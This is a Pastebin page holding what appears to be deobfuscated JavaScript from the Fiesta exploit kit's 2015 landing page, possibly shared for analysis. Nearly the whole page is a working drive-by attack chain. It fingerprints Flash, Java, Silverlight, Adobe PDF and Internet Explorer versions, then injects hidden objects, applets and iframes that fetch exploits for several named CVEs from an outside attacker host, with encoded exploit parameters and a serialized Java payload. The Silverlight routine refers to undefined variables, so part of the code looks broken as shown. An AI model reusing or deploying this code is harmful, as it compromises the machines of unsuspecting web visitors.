ydklijnsma

Fiesta Exploit Kit Landing Page JavaScript (2015 version)

Jan 20th, 2015
14,849
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. function CheckWindowsInUA() {
  2.     return (/Win64;/i.test(window.navigator.userAgent) || /x64;/i.test(window.navigator.userAgent));
  3. }
  4.  
  5. function InjectScript(script) {
  6.     var injected_element = window.document.createElement("div");
  7.     window.document.body.appendChild(injected_element);
  8.     injected_element.innerHTML = script
  9. }
  10.  
  11. function InjectIframe(url) {
  12.     var injected_iframe = window.document.createElement("iframe");
  13.     injected_iframe.frameBorder = '0';
  14.     injected_iframe.width = '10';
  15.     injected_iframe.height = '10';
  16.     injected_iframe.src = url;
  17.     window.document.body.appendChild(injected_iframe);
  18.     return injected_iframe
  19. }
  20.  
  21. function isStringContainingNumber(item) {
  22.     return (typeof item == 'string' && /\d/.test(item))
  23. }
  24.  
  25. function ExtractVersionNumbers(data) {
  26.     var double_num_regx = /[\d][\d\.\_,-]*/;
  27.     var extracted_vnumbers = isStringContainingNumber(data) ? double_num_regx.exec(data) : null;
  28.     return extracted_vnumbers ? extracted_vnumbers[0].replace(/[\.\_,-]/g, ',') : null
  29. }
  30.  
  31. function GetTridentVersion() {
  32.     if (!/Trident\/(\d)/i.test(window.navigator.userAgent)) {
  33.         return 0
  34.     } else {
  35.         return parseInt(RegExp.$1)
  36.     }
  37. }
  38.  
  39. function NormalizeVersionInfo(data, vlength) {
  40.     var templ_array = ['0', '0', '0', '0'];
  41.     var versioninfo = ExtractVersionNumbers(data.replace(/\s/g, '')).split(',');
  42.     for (var i = 0; i < versioninfo.length; i++) {
  43.         if (!(/\d/.test(versioninfo[i]))) {
  44.             versioninfo[i] = '0'
  45.         }
  46.     }
  47.     return versioninfo.concat(templ_array).slice(0, vlength)
  48. }
  49.  
  50. function IsActiveXAvailable() {
  51.     return (typeof window.ActiveXObject != 'undefined');
  52. }
  53.  
  54. function PadVersionInfo(vinfo, padding_size, prepend_padding) {
  55.     while (vinfo.length < padding_size) {
  56.         vinfo = prepend_padding ? '0' + vinfo : vinfo + '0'
  57.     }
  58.     return vinfo
  59. }
  60.  
  61. function CreateFirstAvailableActiveXObject(obj_array) {
  62.     for (var i = 0; i < obj_array.length; i++) {
  63.         try {
  64.             var obj = new ActiveXObject(obj_array[i]);
  65.             if (obj) {
  66.                 return obj
  67.             }
  68.         } catch (exc) {}
  69.     }
  70.     return null
  71. }
  72.  
  73. function GetAdobeFlashVersion() {
  74.     try {
  75.         if (GetTridentVersion() == 7 || IsActiveXAvailable()) { // Is it MSIE 11 or is ActiveX available
  76.             var flash_obj = CreateFirstAvailableActiveXObject("ShockwaveFlash.ShockwaveFlash");
  77.             if (flash_obj) {
  78.                 var versioninfo = NormalizeVersionInfo(flash_obj.GetVariable("$version"), 4);
  79.                 var padded_versioninfo = PadVersionInfo((versioninfo.slice(0, 3).join('')), 6, false);
  80.                 return [padded_versioninfo, versioninfo[3]]
  81.             }
  82.         }
  83.     } catch (exc) {}
  84.     return null
  85. }
  86. adobeflash_version_info = GetAdobeFlashVersion();
  87.  
  88. // Adobe Flash Player CVE-2014-8439
  89. function AdobeFlashExploit_CVE20148439() {
  90.     if (adobeflash_version_info != null && adobeflash_version_info[0] >= 120000 && adobeflash_version_info[0] <= 150000 && (adobeflash_version_info[0] != 150000 || adobeflash_version_info[1] < 189)) {
  91.         var exploit_params = "piw6lxXpfkwegJaaRh9yYgEZVLcA55HsZ68S1_F1pgbBWY2pBlgF1KzoEp2_Vrzpm4QERd5HhfMQnX2YZU87ekOFPqqWr7w5gzAQpubXJNPmHRV6MQ4Kx4z5VnkuHXgvl9TEePJvZ2GWcTfa-Jns94w-fb9PKnu1OTZaAEIEUAkkUEPodUhfqXslvZJWGXBPjofZyQo5vZ-14ChOmHzf8tWNnRVXFj_bM1kY8HoQ81LvfCZAf-nWvUZAHoR8Jb9FuniDwzmiGv2HKtvV6eef-RgXRDczxIcnw5Tna20sd09SJIY3JWo7Ujo3k3U4gna2J4c2RXhKanqwSkaRwp6rt5lz4OUl2tdtRol2OdtwaG8n0P8EouyzUGHCNKZ1ClbsunXhw6_MTUhdCeNlmxiuqk65st34XERp7FIyoC9k6c5kxtoq_6cNfk8zAZLtIO2QfKm7-H2WjB3wl1i-8PkbsSx7gF2RyVPM7oLJWtHwlbfE03JHtk04dCyQaxDzONPHfvVQcGMlvD6-1TMBctB3Zmjtj9zaa8BBaMJM7ivmOqKThtGQJLil2u8XMjH0ivihNjXoYYcMNynbkB9P7VL3wvRSbks3I6f_6FWX9xp3UrejTGFjB-dDcx4lxu0Mg6Gx1PPDG6krSynCyvyPMr_DNt3GE3lgIpchO2Md7UYHb-0zbDvGQ-mwVJ58cZbi62lXVFY2ZgpJIpLgNqiia44rAIbJIvxGCt00fTn4PTOAdRDHq9XCB1RKQ_wGohmAL5ztpg52RUaYa71LyG5yuteeu7kz2ph8BpRSsdvP3dqjRluSk224GVJdBx_PZ9Qnr4yqrYica48cyGlp6JN89Jb0v9B5r6KFtlia-K9_kfkKYReic_v6GKPVLRfC0Eq8RdX6tmckvWIdfBnxjRcM-HrL3zIL3_IL39sieJ-SS1OogSemH-2uH-2iOio3F7S6VHfaxxKB7cdR3HG-kaFqPnpmuaaw3Ip2k_F8folcYRKm9kCPYvtlSutX_bdEPBA6A2ZoE90adMKiiJusiJDriJdliGmpi5g-tRleE12-CDTTxH8hx1RECR-JuaLVgheHWPZ7c0z6dSvp2-bOaLzrTSNuEWODpVITQ3O7CNZ9C4mbg4n5ZoXeC0CIzdV75R1Sk0XG5Adwoy7GrG8ZbmvDeUDM-9O7Arh1BL1k4bm7W6-KU3zHsvhrh9yN3KU2kQb_qDYsvv3V_qVEzybFz9tZxRHHUvgmfGQWUirBU4PBbnJ1uCCBV8YrgOncBNdSjJVTHJoFjkaj0JUbJkR0f4SkGIxkwjxkUyxkdyb7wYwzAuracpjrApTQfOy13sCQWTaXHpvLRkkGxz0Uy3GSAZ2pTuIReLzpCNpRoRsr6LyF2EK1Cm-1JFzCdwMOAfz-vGbDEKFKnetJoHSgpPSz95K5ucMytnRAqJkpLL2-xsrpO4xzNTvt0l9qprz5KHep8F7dOaAvNGLpW7kvW6LTxNjIPb69bYOIDS7WVwrrbS7X2H6f5HqcZzZdOQKeCBuSCqWiM5AsVaAsMcLNM4hSIltlMvZWMTWHD4lHMTlKMTly2SlJkwlTH4LYHyDSVTtSBM5mju8To61rciGw8DpauEsb-Mh91Ib5oiFXzOenZ4Se24gJGFYNqOk58i0Wm6ePAnNNmntsEe2zE8PRH0SWZmxpIhm6eT-rV4c-QlKrOsJcDP4lqNQbuMu3_K6xb6pNkq9zwFNLrLDjgR8v-UMWNjGimNfBEtjqQsjqQsjFD4mkrbWVPaU1IQ53gG--JQrclHKyzNcRWJu1LJeSDtZRIsh4gO5GxF5KCTrGxvllxJIQCBrzMBLtxBMwIBhsZQqwZyZeOvkcZ4ZwIvCeMqtUMtxaMtWKMOOaISW7MBWNCS-WqcWYqFOyOsCv";
  92.  
  93.         var exploit_inject_script = "<object width=10 height=10 id='swf_id' type='application/x-shockwave-flash'><param name='movie' value='twQHU'/><param name='allowScriptAccess' value='always'/><param name='FlashVars' value='buys0=r_SET&softq='/><param name='Play' value='0'/></object>";
  94.         exploit_inject_script = exploit_inject_script.replace('r_SET', exploit_params);
  95.  
  96.         var exploit_url = "http://znaaok.myftp.biz/ai_qkvu2/1f247c512126d3ff04500b0f005802090150020f0301050a0452500202515409";
  97.         exploit_url = [exploit_url, adobeflash_version_info[0], adobeflash_version_info[1]].join(';'); // Insert flash major and minor version numbers in URL
  98.  
  99.         exploit_inject_script = exploit_inject_script.replace('twQHU', exploit_url); // Insert payload URL
  100.         InjectScript(exploit_inject_script);
  101.     }
  102. }
  103. AdobeFlashExploit_CVE20148439();
  104.  
  105. // Adobe Flash Player CVE-2014-0497
  106. function AdobeFlashExploit_CVE20140497() {
  107.     if (adobeflash_version_info != null && adobeflash_version_info[0] >= 110000 && adobeflash_version_info[0] < 120000) {
  108.         var exploit_params = "Uty7aGiUrcYF-SKBlUybGiX686yCWAJYkL2tmkcj2hQ6Ter1eQxHH4Ox79uRvZ7Ysf6TNwwD9jGIyAsRUo7uhbiATr4LFUH9Y1MS2cYV7INrs7tmRr-pqrCIvFJ71qMTM19LJqkTyDecQ9pz2kCODWKrBfNdLSL-jPcqt7jVZTqSZarovw2fxsylV_kWfFZ-99AavMpGyB4jQVvpMqxz4HVRS4xQrs_asQkzKVoSK5sTWHiAWyKWCziAxkr8IEJlSFD-WI2_Z5hGBzkSv4TzqxxQH9bf6sZp_-JpgBVQvFFt3N7T3_jjeYjTIs0dNq6AnASAC68b5IVtlJ-_WoR-pQga8IoKGCdsHylRpYtNgjH0BOqEbYpzeLtCgqS15FsWc0ImzK-UB02_E4HxM1R7-JsIMhRXB6RYCUIjAq98YiW8g8-MD3T1G2C2KWdDktmYGF2O2bmsVZFJwxG-uLLbMct7YpdRVvdpCwu45rwNOLiL36ZgqgEXYaeP3j22L4LTTGCYCyged2SLY9xBCzQ3jiUtZRQa1lB61QJ0wev8JVsq18cyObjKbGxnlpeVYNDmgpIn14BUR7KyEZIvICcT_5z0f_ZTcXgixd7VYBxPRQ7CsjyWlyAFuy6-qrp6NZKjHRLEh9Jux7xAM5SPy_2DizdG5K9gcSZ0A5AIeYb6Ny3FNBtNvyXHvDz3utZ2-8N1v9s3U8ow7oN0RHGage3OOngVcDCo7n0nb-nJh-OxE7MGNfmUW5UlMe7NcuPMH96cSo43MutQlyI-kKkdVz9jky52Gc-BXc_tMw4-JwF1NnjtEZIX_qOyPQCQLotvtA79tEmtlmhtkKnINkM3QkDV3TLeFATqpribq-9iEakq177_CWt6_XMVZ5uC4b48atIZrQBF4gX_gZxjI-y6rq2evtVevNgevEsth8-hxbOl7m7zuyIeuyIwD9ETpiOAvIMBqJNazoLPrquLG6RFmIaDk6pHvWViuNqdbYKW1Glrhgh31xvrVYvyQjA9b-XA97Bn61UBPQG82kRW2k_-2kEKNKRxNLIrpGlN5b2PdqTqiCVii5UEd70JcUgVNOHHhzSOuG6ZPoeIiju7zx-OJwA75littbf00GsZ78c5diDa-pP94emjdF_5_lruCbC3IJjvCquJDXyvfKD6FikDB0_MqTz7OkR1XqoS8VDv7jrbC6H6Ox1-EfFGydRiIPZRxtsWVnEfGDCDf7IkfT1Cs-r2W5OFbEtIWeryWmPyctJf2Hhypt9-jPDZLuABT0pJx0xkTUtxO8Vy-JugWe7hhngh_XghWA0hJAYb_UHcMw-ZZ4udM4sXgPFYyX_Xh07Q1K5-aCJvSgUMMEjzQBOprdJRhPrp7h0Rz9smxHyliGKfUSpfT05UPUPsKZ5rVVcm7CH5JMawbPZ0OL6ShvwI5T1dxMkFrQdKkCTJtFeBwS7j66QXLQsI2nvMAc69QLtaDnIGg8mIBDKGBHtHgswjhKdkgs8jl4J7QYj0g4lDwbkLuZtNUklKplcRqFAAqdt9kijWHIjWDRD4D7OzLbPKDW_7O92wlYgwOaIHOaIZewIeRcO5usMSuKIY5t5YLyFuTHRHFn0uTWJJCfZBXVVooiGhznUua0bQ15OUIYHJeY3ehSGFdvOPKURnsJ65K6Jrs6WW72PSoO2PWEosNfBx2V4tE9T-QYnrVWL0MeiNF1_SmWv958ARGyeC2JEJIdKQoPJ-twLx2Z_Gp85sbPpaAsF8ez4MVeRMVe-dlYU_ivlOE9EZ0ltFp7U4lKCfJokpWfOPzXDX8Pqz_HrPVb1oxHNpWNbpWyyotBjwtQKSEvjFuqISEtOXutxfLslXDoOXDROtD_Wk1R5l1HCbVwPaVH17ObvGZrNyOxLsW-jY6olt6sI6Ae1l";
  109.        
  110.         var exploit_inject_script = "<object width=10 height=10 id='swf_id' type='application/x-shockwave-flash'><param name='movie' value='xVpWi'/><param name='allowScriptAccess' value='always'/><param name='FlashVars' value='talkh=P69jl&diadx='/><param name='Play' value='0'/></object>";
  111.         exploit_inject_script = exploit_inject_script.replace('P69jl', exploit_params);
  112.  
  113.         var exploit_url = "http://znaaok.myftp.biz/ai_qkvu2/44f7aa1e1db111d0000d510c565a065d0402560c5503015e010004015453505d";
  114.         exploit_url = [exploit_url, adobeflash_version_info[0], adobeflash_version_info[1]].join(';'); // Insert flash major and minor version numbers in URL
  115.  
  116.         exploit_inject_script = exploit_inject_script.replace('xVpWi', exploit_url); // Insert payload URL
  117.         InjectScript(exploit_inject_script)
  118.     }
  119. }
  120. AdobeFlashExploit_CVE20140497();
  121.  
  122. // Get the highest available Java version
  123. function GetHighestJavaVersion() {
  124.     try {
  125.         var jvms = null;
  126.         var java_object_class_ids = ["clsid:CAFEEFAC-DEC7-0000-0001-ABCDEFFEDCBA", "clsid:CAFEEFAC-DEC7-0000-0000-ABCDEFFEDCBA"]; // Initiates the Java Deployment Toolkit
  127.         for (var clsid_i = 0; clsid_i < java_object_class_ids.length; clsid_i++) {
  128.             var java_object = window.document.createElement("object");
  129.             java_object.setAttribute("classid", java_object_class_ids[clsid_i]);
  130.             if (typeof java_object["jvms"] != 'undefined') {
  131.                 jvms = java_object["jvms"];
  132.                 break
  133.             }
  134.         }
  135.         if (jvms != null && jvms.getLength() != 0) {
  136.             var version = 0;
  137.             for (var jvm_i = 0; jvm_i < jvms.getLength(); jvm_i++) {
  138.                 var jvm_verion_info = NormalizeVersionInfo(jvms.get(jvm_i)["version"], 4);
  139.                 var c_version = parseInt(jvm_verion_info[1].concat(PadVersionInfo(jvm_verion_info[3], 2, true)), 10);
  140.                 if (c_version > version) { // Check if this version is higher than the previous
  141.                     version = c_version
  142.                 }
  143.             }
  144.             return version
  145.         }
  146.     } catch (exc) {}
  147.     return null
  148. }
  149. java_version = GetHighestJavaVersion();
  150. java_enabled = window.navigator.javaEnabled();
  151.  
  152. // Java Runtime Environment CVE-2013-2465
  153. function JavaExploit_CVE20132465() {
  154.     if (java_enabled) {
  155.         if ((java_version && java_version > 630 && java_version < 722) || (!java_version && java_enabled)) {
  156.             var exploit_inject_script = "<applet width=10 height=10><param name='cent' value='http://znaaok.myftp.biz/ai_qkvu2/44075e88a64ef0cd574c550c025e0f000402000c010708030100520100575900;1;3@@'/><param name='jnlp_href' value='http://znaaok.myftp.biz/ai_qkvu2/49efdc53b7b51fa25e57095d5358020b040f555d50010508010d07505151540b'/></applet>";
  157.             if (java_version && java_version >= 710) { // Since 7u10 bundling has to be selected for self contained applications (https://blogs.oracle.com/talkingjavadeployment/entry/packaging_improvements_in_jdk_7)
  158.  
  159.                 exploit_inject_script = exploit_inject_script.replace("</applet>", "<param name='javafx_version' value='2.0+'/></applet>")
  160.             }
  161.             InjectScript(exploit_inject_script)
  162.         }
  163.     }
  164.     return
  165. }
  166. JavaExploit_CVE20132465();
  167.  
  168. // Java Runtime Environment CVE-2012-0507
  169. function JavaExploit_CVE20120507() {
  170.     if ((java_version && java_version < 631) || (!java_version && java_enabled)) {
  171.         // Hex encoded string, contains non-ascii characters
  172.         var exploit_param = "aced0005757200135b4c6a6176612e6c616e672e4f626a6563743b90ce589f1073296c020000787000000002757200085b4c6c6170736b3bfe2c941188b6e5ff02000078700000000170737200306a6176612e7574696c2e636f6e63757272656e742e61746f6d69632e41746f6d69635265666572656e63654172726179a9d2dea1be65600c0200015b000561727261797400135b4c6a6176612f6c616e672f4f626a6563743b787071007e0003";
  173.  
  174.         var exploit_inject_script = "<applet archive='http://znaaok.myftp.biz/ai_qkvu2/5b76b7bdcefb3f0d5410560d550c555c0554070d5655525f005655005705035c' code='vailt' width=10 height=10><param name='ptas' value='http://znaaok.myftp.biz/ai_qkvu2/5230fd54a64ef0cd564a560b515f020c0504030b5206050f000651065356540c;1;2@@'/><param name='hamm' value='JRgN_'/></applet>";
  175.  
  176.         exploit_inject_script = exploit_inject_script.replace('JRgN_', exploit_param);
  177.         InjectScript(exploit_inject_script)
  178.     }
  179.     return
  180. }
  181. JavaExploit_CVE20120507();
  182.  
  183. function PadNumber(number) {
  184.     return (number < 10 ? 0 : '') + number.toString()
  185. }
  186.  
  187. function FormatVersionString(vdata) {
  188.     return (vdata[0] + '.' + vdata[1] + '.' + vdata[2] + PadNumber(vdata[3]) + PadNumber(vdata[4]))
  189. }
  190.  
  191. function IsSpecifiedVersionSupported(obj, v_array, index, new_vnumber) {
  192.     var nversion = v_array.slice(0);
  193.     nversion[index] = new_vnumber;
  194.     return obj.IsVersionSupported(FormatVersionString(nversion))
  195. }
  196.  
  197. function GetSilverlightVersion() {
  198.     var sl_plugin = null;
  199.     var sl_descr = null;
  200.     try {
  201.         if (GetTridentVersion() == 7 && (sl_plugin = window.navigator.plugins["Silverlight Plug-In"])) { // MSIE 11 available and Silverlight
  202.             sl_descr = sl_plugin["description"]
  203.         } else if (GetTridentVersion() == 7 || IsActiveXAvailable()) { // MSIE 11 available and ActiveX
  204.             var sl_obj = CreateFirstAvailableActiveXObject(["AgControl.AgControl"]);
  205.             var supported_version = [1, 0, 1, 1, 1]; // Base version
  206.             var version_supported = 0;
  207.             var highest_version = [6, 2, 9, 12, 31]; // Highest version we go to
  208.             if (sl_obj && sl_obj.IsVersionSupported(FormatVersionString(supported_version))) { // Lowest version is available
  209.  
  210.                 // Following section bumps version numbers untill it hits one not supported
  211.                 for (var i = 0; i < highest_version.length; i++) {
  212.                     for (var version_num = supported_version[i] + (i == 0 ? 0 : 1); version_num <= highest_version[i]; version_num++) {
  213.                         if (!IsSpecifiedVersionSupported(sl_obj, supported_version, i, version_num)) {
  214.                             break
  215.                         }
  216.                         version_supported++;
  217.                         supported_version[i] = version_num
  218.                     }
  219.                 }
  220.                 if (version_supported) {
  221.                     sl_descr = FormatVersionString(supported_version)
  222.                 }
  223.             }
  224.         }
  225.         if (sl_descr) {
  226.             return NormalizeVersionInfo(sl_descr, 3).join('')
  227.         }
  228.     } catch (exc) {}
  229.     return null
  230. }
  231. silverlight_version = GetSilverlightVersion();
  232.  
  233. // Microsoft Silverlight CVE-2013-0074
  234. function SilverlightExploit_CVE20130074() {
  235.     if (silverlight_version >= 4050401 && silverlight_version < 5120125) {
  236.         var exploit_inject_script = "<object data='data:application/x-silverlight-2,' type='application/x-silverlight-2' width=10 height=10><param name='source' value='j2VIH'/><param name='initParams' value='pave=YOsTWLl1BQAASYA0CB+FyXX3/9Bhw+jo////9pMbHx9BluySTLemQW6kT6dtf2hrTfebHB8f45boso78C/eZHB8fjbKO/O2Wz/ewHB8ftPTtpqZsLsina36rH3Uf90ccHx/3IRwfH4jgTAsjGW0rT0t1F3Xg4EwnRY78OE9Ldx8PHx9IdQZN4Ewjjkf8CpQYEKlXHlaSW5cXlBef4j9sHOFcsfdrHR8fjvxtLt+zmt9rSk9I4ExfSUhI4ExbRx7Z9+ceHx+O/Ep1FEdXa1BPn2SxHmsO96YeHx+a32o84Ax5IvsdavufZPIfahJI9ywfHx+a32oU4Vzy9wweHx+O/NZHsh7Z9LuIkmxnSbMmIWrk2BkkLh8fQffgHh8f3HUfdeHgTBtJSEqW+qZEizSL94sdHx+O/GFOkkyHTeBMK5rfa22UTyOW2ZbYHJsPnx8fH5QX/H9/HG8TLt+G5vfJHR8fauee5UFupE9+axqc3wv0wOBvDx7RLtZWXrKa32sqSZJrGB0u34bn97UdHx9q557lSGvf60Fq/kEe4ZQrkUaUTiOUWw4DHFMOMx7XJtFtGybZaRcu39ZAQd0bH0mUag9JsprfauSY6EGSTIFNSeBMT478/05OTuBMU0bZHh9PSUjgTFtH2R9DSEhJmOGymt9q5HVgSeBML5IjGZJcsE9I4EwTdR9J4ErjnOcAaLf0u0lISpb6luGymt9q5ElIkmTxmOGzebSb32rmkmDhSOBMM0jgTFdBdSNGNtOW+E5ILt/stUCQGHVsd3Effh93bR9qH5Z4E6Zwii4Pp7APFLf3Sh4fH5ZYF3V6d3ofZx93ex8xH3d8H3IflngPlmgLprQ7yMinaf7w2Uj3NB4fH9ZAQdxISpb6dUtGNtOW5Zb4SC7f7LVAklAPdVuQHkhOT09PT09PT03gTDfWQNxISS7fT091Hk91HHUcSOBMB19rBleIsnUfS09JSOBMA5rfaxZI4Ew/SOBMO19BQNxJTJbhLt+G4dk2zh7ISE4uxIbh3JUbAR/dmRsJlxsBHRsJlRsZLRi1/fdGQERB3Eou1k6W/U5OTUlOpsKTvginsiHO3vebHx8fQprfanma4Gt7lFofdR9ISuBPL5rfakuUWBea32tST0tP91YfHx+JSUqUWh/gTxNGmt9qKLKNsi7PIllMS09qNLIuzybXajuyLs9PmOic9g/3feDg4E5IdR/gTBdGJtdqFeApSeBMM5jo9B0u30Lcph8PHx+a32odltd1X05PdR/gTA/cT/cXHx8fRvcoHx8f4P9ISUwu4HuUYC+UYBOUYAuW5C7fhpQgJuRrCJRoN5rpa+/m91YfHx+zaugm1ZRYD2r/REFA3H+UTyOW3JbZTxxbD2cu8lp/HEc/HCu0Lt+G5/cEHx8faucm1X5q9xxHOxCoM3QcbwNHHBuxlls7A37cs2wZI35tHTM/3tUSHt2b39x3c3ZxdB9DH1MfcB9oHx8fam1zcnBxH0N8cnsxemd6FkMxMUNxcGt6b357MXpnej8wfD98cG9mPzBGPz06TD0/PTpMPT85OT9sa35taz89PT89Okw9HzB8P2xrfm1rPz09Px/3cOTg4Ll0isDKtC6cZPXeY6eQEWqGpOn/Hx8fH0FupE9hkrtN02ERFB//xKJMX+DXg6DWMfNgx6CAql/rxUORTzTYEtFtf2hrHx8fH0AXpkTq12UnxMHJbR8fHx9IRFR8AYp0mHDjKDuW06LXAA+M9PV/mKQfHx8fHx8fH3dra28lMDBlcX5+cHQxcmZ5a28xfXZlMH52QG50aWotMC4sfih+KC96KXsrKnx5KX0qLSssL34vfCopL3wvKCp7Ly4vKiouL3wqKioqLy8qei8rLygvLC8uKisvKiouKnskKh8fHx8='/></object>";
  237.        
  238.         var exploit_url = "http://znaaok.myftp.biz/ai_qkvu2/2b6b367b48844f2e410e4059040d005a0254065907540759075654540604565a";
  239.         exploit_url = [exploit_url, silverlight_version].join(';'); // Insert Silverlight version numbers in URL
  240.  
  241.         exploit_inject_script = exploit_inject_script.replace('j2VIH', jnv);
  242.         InjectScript(pa)
  243.     }
  244. }
  245. SilverlightExploit_CVE20130074();
  246.  
  247. // Microsoft Internet Explorer CVE-2013-2551
  248. function MSIEExploit_CVE20132551() {
  249.     var fut, om;
  250.     var trident_version = GetTridentVersion();
  251.     if (    !CheckWindowsInUA() &&
  252.             (   trident_version == 6 || // Trident version 6, identifies Internet Explorer 10
  253.                 trident_version == 5 || // Trident version 5, identifies Internet Explorer 9
  254.                 trident_version == 4)) // Trident version 4, identifies Internet Explorer 8
  255.     {
  256.         InjectIframe("http://znaaok.myftp.biz/ai_qkvu2/40319b9a99f7cc915d555f0a0e590e590406030a0d00095a010451070c505859");
  257.     }
  258.     return
  259. }
  260. MSIEExploit_CVE20132551();
  261.  
  262. function GetAdobePDFVersion() {
  263.     try {
  264.         // If its MSIE 11 or ActiveX Controls are available instanciate PDF object, otherwise null
  265.         var activex_obj = (GetTridentVersion() == 7 || IsActiveXAvailable()) ? CreateFirstAvailableActiveXObject(["AcroPDF.PDF", "PDF.PdfCtrl"]) : null;
  266.  
  267.         var pdf_obj = window.document.createElement("object");
  268.         pdf_obj.setAttribute("classid", "clsid:CA8A9780-280D-11CF-A24D-444553540000"); // Initiates the 'pdf.ocx' ActiveX control
  269.         pdf_obj.setAttribute("src", '');
  270.  
  271.         var version_string = null;
  272.         try {
  273.             // Get version of either one of the valid objects
  274.             version_string = (activex_obj || pdf_obj).GetVersions()
  275.         } catch (exc) {}
  276.         if (version_string) {
  277.             var version_extract = version_string.match((/=\s*[\d\.]+/g));
  278.             var version = 0;
  279.             for (var i = 0; i < version_extract.length; i++) {
  280.                 var c_version = parseInt(NormalizeVersionInfo(version_extract[i], 3).join(''), 10);
  281.                 if (c_version > version) {
  282.                     version = c_version
  283.                 }
  284.             }
  285.             return version
  286.         }
  287.     } catch (exc) {}
  288.     return null
  289. }
  290. adobepdf_version = GetAdobePDFVersion();
  291.  
  292. // Adobe PDF CVE-2010-0188
  293. function AdobePDFExploit_CVE20100188() {
  294.     var triden_version = GetTridentVersion();
  295.     if (triden_version == 4 || triden_version == 5) { // Check for MSIE 8 or 9
  296.         if ((adobepdf_version >= 800 && adobepdf_version < 821) || (adobepdf_version >= 900 && adobepdf_version < 931)) {
  297.             var exploit_inject_script = "<object classid='clsid:CA8A9780-280D-11CF-A24D-444553540000' width=10 height=10><param name='src' value='irH3d'/></object>";
  298.  
  299.             var exploit_url = "http://znaaok.myftp.biz/ai_qkvu2/6b2f2de7ba83a9dc5a0b505d055f520f0654025d0606550c035650500756040f";
  300.             exploit_url = [exploit_url, adobepdf_version].join(';'); // Insert Adobe PDF version numbers in URL
  301.  
  302.             exploit_inject_script = exploit_inject_script.replace('irH3d', exploit_url);
  303.             InjectScript(exploit_inject_script);
  304.         }
  305.     }
  306.     return
  307. }
  308. AdobePDFExploit_CVE20100188();
Advertisement
Add Comment
Please, Sign In to add comment